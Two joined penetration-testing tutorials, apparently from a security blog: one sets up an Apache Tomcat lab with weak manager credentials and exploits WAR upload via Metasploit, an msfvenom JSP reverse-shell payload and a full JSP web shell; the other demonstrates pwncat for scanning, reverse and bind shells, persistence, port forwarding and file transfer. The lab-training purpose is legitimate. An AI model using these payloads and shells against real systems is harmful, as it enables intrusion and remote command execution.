Tomcat Penetration Testing

 Apache Tomcat, developed by the Apache Software Foundation, is a widely used web server and servlet container. Originally, it served as a demonstration platform for Java Servlet and JavaServer Pages (JSP) technologies, which are used in Java web applications. As time passed, Tomcat expanded its capabilities to support additional Java web technologies.

A notable feature of Tomcat is its support for deploying web applications using WAR (Web Application Archive) files. These files bundle together all the components of a web application, including code, pages, and files, making deployment simpler. Tomcat allows users to upload and run these WAR files, enabling them to host their applications on the internet.

In addition to WAR files, Tomcat also supports the deployment of JSP pages. JSP is a technology that allows developers to create dynamic web pages using Java. Tomcat can execute these JSP pages, making it versatile for hosting a wide range of web applications.

By default, Tomcat supports the use of WAR files and JSP pages. However, administrators can configure settings to ensure security and control over file uploads, enhancing the overall safety of the server.

Table of Contents

·      Lab Setup

·      Installation

·      Configuration

·      Enumeration

·      Exploitation using Metasploit Framework

·      Exploiting Manually (Reverse shell)

·      Exploiting Manually (Web shell)

·      Conclusion

Lab Setup

In this article, we are going to setup the Tomcat server on the ubuntu machine and exploit the file upload vulnerability. Following are the machines:

Target Machine: Ubuntu (192.168.1.5)

Attacker Machine: Kali Linux (192.168.1.7)

Installation

Apache Tomcat relies on Java, meaning you'll need to have the Java JDK installed on your server. You can install it by running the command below:

apt install openjdk-11-jdk

Add a new user by the name tomcat using the following command:

useradd -m -U -d /opt/tomcat -s /bin/false tomcat

Download the Tomcat tar.gz file from the official website.

Download the latest version from the website into the ubuntu machine and extract the downloaded files.

wget https://dlcdn.apache.org/tomcat/tomcat-10/v10.1.20/bin/apache-tomcat-10.1.20.tar.gz

tar -xvf apache-tomcat-10.1.20.tar.gz

Move the extracted folder in the /opt/tomcat directory, give the ownership permissions to tomcat user and set the execution permission on binary files.

mv apache-tomcat-10.1.20/* /opt/tomcat

chown -R tomcat: /opt/tomcat

sh -c 'chmod +x /opt/tomcat/bin/*.sh '

Create a tomcat.service file in the /etc/system/system/ directory and add the following content in the file:

[Unit]

Description=Apache Tomcat

After=network.target

 

[Service]

Type=forking

 

User=tomcat

Group=tomcat

 

Environment=JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64

Environment=CATALINA_PID=/opt/tomcat/tomcat.pid

Environment=CATALINA_HOME=/opt/tomcat

Environment=CATALINA_BASE=/opt/tomcat

Environment="CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC"

 

ExecStart=/opt/tomcat/bin/startup.sh

ExecStop=/opt/tomcat/bin/shutdown.sh

 

ExecReload=/bin/kill $MAINPID

RemainAfterExit=yes

 

[Install]

WantedBy=multi-user.target

Reload the systemd daemon to apply the changes using the following command:

systemctl daemon-reload

 Also, enable the tomcat service to start at system reboot.

systemctl enable --now tomcat

Checking the status of the tomcat server:

systemctl status tomcat

Configuration

After the installation is complete, its time to configure the Tomcat server.

To create admin user password, make changes in the following file:

nano /opt/tomcat/conf/tomcat-users.xml

Add the following code above the </tomcat-users>:

<role rolename="admin-gui"/>

<role rolename="manager-gui"/>

<user username="admin" password="password" roles="admin-gui,manager-gui"/>

To enable remote access for Tomcat Manager, make the following changes in the context.xml file present in the manager and host-manager directory.

nano /opt/tomcat/webapps/manager/META-INF/context.xml

nano /opt/tomcat/webapps/host-manager/META-INF/context.xml

Remove the following line from both the above files as shown below:

Once done with the changes, restart the tomcat service in ubuntu.

systemctl restart tomcat

Observe that the Tomcat server is up and running on port 8080 in the ubuntu machine.

 

Enumeration

After the installation and configuration is complete, now starting the enumeration phase.

Using Kali linux as an attacker machine, initial enumeration can be performed using nmap.

nmap -p 8080 -sV 192.168.1.5

 

Exploitation using Metasploit Framework

First trying to exploit the functionality using Metasploit as an exploit is already available for the tomcat file upload vulnerability. The exploit used here is exploit/multi/http/tomcat_mgr_upload.

Inside Metasploit, type the below given commands to run the exploit:

use exploit/multi/http/tomcat_mgr_upload

set rhosts 192.168.1.5

set report 8080

set httpusername admin

set httppassword password

show targets

set target 2

set payload linux/x86/meterpreter_reverse_tcp

exploit

From above it can be seen that a reverse shell is obtained and the commands can be executed using the meterpreter shell.

Exploiting Manually (Reverse Shell)

The above exploitation process can also be performed manually. In order to do that we first need to create a .war file using msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.7 lport=1234 -f war > shell.war

After the shell.war file has been created, we need to upload that file inside tomcat manager app.

To access the Manager App, it will require a basic authentication. The username can be given as admin and password as password to access the manager app.

After login into the Manager App, upload the above created shell.war file in the War file to deploy functionality.

Once the file is uploaded it can be seen in the uploaded files section.

Before accessing the uploaded file, start a netcat listener on port 1234.

rlwrap nc -lvnp 1234

Click on the /shell to access the file to obtain a reverse shell.

The reverse shell is obtained at port 1234.

Exploiting Manually (Web Shell)

To get a web shell, a .war file can be used which will contain .jsp files such that after the .war file is uploaded to the server the webshell is obtained.

To create a .war containing the .jsp files java is required in the kali linux machine.

apt install openjdk-11-jdk

Now, create a webshell directory, within it we will place the index.jsp file.

mkdir webshell

cd webshell

nano index.jsp

Copy the following code in the index.jsp file for the web shell.

<FORM METHOD=GET ACTION='index.jsp'>

<INPUT name='cmd' type=text>

<INPUT type=submit value='Run'>

</FORM>

<%@ page import="java.io.*" %>

<%

   String cmd = request.getParameter("cmd");

   String output = "";

   if(cmd != null) {

      String s = null;

      try {

         Process p = Runtime.getRuntime().exec(cmd,null,null);

         BufferedReader sI = new BufferedReader(new

InputStreamReader(p.getInputStream()));

         while((s = sI.readLine()) != null) { output += s+"</br>"; }

      }  catch(IOException e) {   e.printStackTrace();   }

   }

%>

<pre><%=output %></pre>

After the index.jsp file is created, the package can now be created after converting the directory into a .war file.

jar -cvf ../webshell.war *

After the webshell.war file is created, uploading it in the deploy functionality.

The index.jsp page can be accessed within the uploaded webshell directory and a webshell is obtained.

An alternative way to do the above manual exploitation can by downloading the cmd.jsp file and creating a webshell.war file using zip.

The webshell jsp file can be downloaded from here:

https://github.com/tennc/webshell/tree/master/fuzzdb-webshell/jsp

After the cmd.jsp file is downloaded, a revshell.war file can be created using the following command:

zip -r revshell.war cmd.jsp

Again, repeating the same procedure as discussed earlier, after uploading the revshell.war file in the deploy functionality. The web shell is obtained after accessing the file at the path: http://192.168.1.5:8080/revshell/cmd.jsp

Conclusion

In essence, Apache Tomcat remains a preferred choice for deploying Java web applications, offering a blend of versatility and security that caters to the diverse needs of developers and administrators alike. However, due to misconfigurations it can be abused to perform certain unintended actions like Remote Code Execution.

 

 

 

 

 

 

 

A Detailed Guide on Pwncat

 Pwncat stands out as an open-source Python tool highly regarded for its versatility, providing a contemporary alternative to the traditional netcat utility. Tailored for network exploration, exploitation, and penetration testing needs, it offers a modernized approach to these tasks. With an emphasis on user-friendly features and comprehensive functionality, pwncat facilitates seamless interactions with network services, aiding in reconnaissance and vulnerability assessment.

The official documentation for the usage of this tool can be checked from here: https://pwncat.org/

Table of Content

·      Lab Setup

·      Installation

·      Usage

o   Port Scanning and Banner grabbing

o   As a listener

o   Bind Shell (Linux)

o   Reverse Shell (Windows)

o   Local Port Forwarding

o   To Send/Receive files

·      Advantages over Netcat

·      Conclusion

Lab Setup

In this article, we are going to show the usage of pwncat on both linux and windows target machines as mentioned below:

Target Machines: Ubuntu (192.168.1.23), Windows (192.168.1.4)

Attacker Machine: Kali Linux (192.168.1.7)

 

Installation

Installation of pwncat can be done using pip or apt.

To install using apt use the following command:

apt install pwncat

To install using pip use the following command:

pip install pwncat

Usage

Port scanning and Banner grabbing

Pwncat can be used to perform both port scanning and banner grabbing on the open ports by stating the range of ports along with the --banner flag.

pwncat -z 192.168.1.23 1-100

pwncat -z 192.168.1.23 1-100 --banner

Pwncat not only performs port scanning on TCP ports it can also scan UDP ports just by using a -u flag in the above command.

As a Listener

When used as a listener pwncat holds a persistence by creating a file in the /tmp/ directory. Therefore, if a connection is lost the reverse shell can still be obtained at the same port which was previously used like a persistence.

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234

The persistence can be checked by running a rlwrap listener at the same port after terminating the above connection.

Pwncat has a feature to create persistence on multiple ports which can be performed using the following command:

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234+2

It can be observed that along with port 1234, the reverse shell can also be obtained on the ports 1235 and 1236.

Reverse Shell (Windows)

To get a reverse shell, command can be used from the reverse shell generator (https://www.revshells.com/)  in the Windows machine to get a reverse shell.

Before executing the command copied from the revshells.com, start a listener at port 4444 in the kali machine using the following command:

pwncat -l 4444

Local Port Forwarding

Perform the installation of pwncat inside the Ubuntu machine using the following command:

pip3 install pwncat

After a reverse shell is obtained using the usage discussed in the As a Listener section. It was observed that an application is running internally inside the Ubuntu machine at port 8080. Hence to access that web application inside our kali machine, we will perform Local Port forwarding using the following command:

pwncat -L 0.0.0.0:5000 127.0.0.1 8080

After the execution of the above command, the web application can now be accessed inside the kali machine at the URL: http://192.168.1.23:5000

Send and Receive Files

Besides the above discussed usage pwncat can also be used to send/receive files. It starts with the installation of pwncat in the ubuntu machine.

This includes creating a file in the Ubuntu system as data.txt file in the ubuntu machine and start a listener in the kali machine where the file is to be received.

To receive the file in the kali machine, the following command can be used:

pwncat -l 6666 > data.txt

 

After the listener is active the following command can be used to transfer the file in kali machine.

pwncat 192.168.1.7 6666 < data.txt

 

Bind Shell (Linux)

To get a bind shell start a listener inside the kali machine using the following command:

pwncat 192.168.1.23 9874

Inside the Ubuntu machine type the following command:

pwncat -l -e '/bin/bash ' 9874 -k

It can be observed that the bind shell connection is obtained on the kali machine. Because of -k flag used above the bind shell will re-accept new clients as soon as a client has disconnected.

It can be noted that the above procedure is also satisfied while working with the UDP ports just by using -u flag after the command.

Advantages over Netcat

Pwncat, a feature-rich netcat-like tool designed for pentesters and red teamers, offers several enhancements over traditional Netcat:

• Interactive Shell
• Scriptable Interface
• Encrypted Communication
• Persistance

 

Pwncat provides an interactive shell with syntax highlighting and command completion, improving the user experience. Pentesters can automate tasks using Pwncat’s Python scripting interface, allowing for greater flexibility and customization. It also supports encrypted communication channels, ensuring confidentiality when interacting with compromised systems.

Conclusion

In conclusion, we can say that pentesters/red teamers can use a lot of tools to get reverse shell/bind shell/ upload-download files/Local Port forwarding and many more. However, if pwncat is considered in regular practise it can prove to be a very valuable and time saving tool.